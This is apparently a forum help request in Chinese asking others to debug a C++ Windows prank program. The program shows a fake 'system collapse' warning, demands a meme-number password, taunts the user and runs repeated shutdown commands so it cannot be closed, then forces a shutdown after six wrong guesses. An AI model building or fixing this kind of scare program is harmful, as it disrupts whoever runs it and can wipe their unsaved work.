如题,求调
#include <bits/stdc++.h>
#include <windows.h>
using namespace std;
string hint[6]={
"好臭啊","114514?","1919810???","请保存好电脑文件,免受……","ASCLL43","这么傻?没救了呜呜呜"
};
long long ins,ans=114514+1919810,tl=0,tm=60,lk=1;
void stlk(){//锁电脑,防止用户关掉程序
while(lk==1){
system("shutdown -s -t 1");
Sleep(950);
system("shutdown -a");
}
}
int main(){
ios::sync_with_stdio(0);
cin.tie(0); cout.tie(0);
system("shutdown -s -t 100");//防止准备关机时跳出提示,使用户用cmd拯救电脑
system("shutdown -a");//死缓
//stlk();//锁电脑,本句如何和下文同时进行
cout<<"Warning:The system is about to collapse!"<<endl<<"Please insert password:"<<endl;
for(;tl<6;tl++){
cin>>ins;
if(ins==ans){
cout<<"Right!"<<endl;
lk=0;//锁
system("shutdown -a");
}
else cout<<hint[tl]<<endl;//提示
}
Sleep(1500);
system("shutdown -s");//太笨了,关机
return 0;
}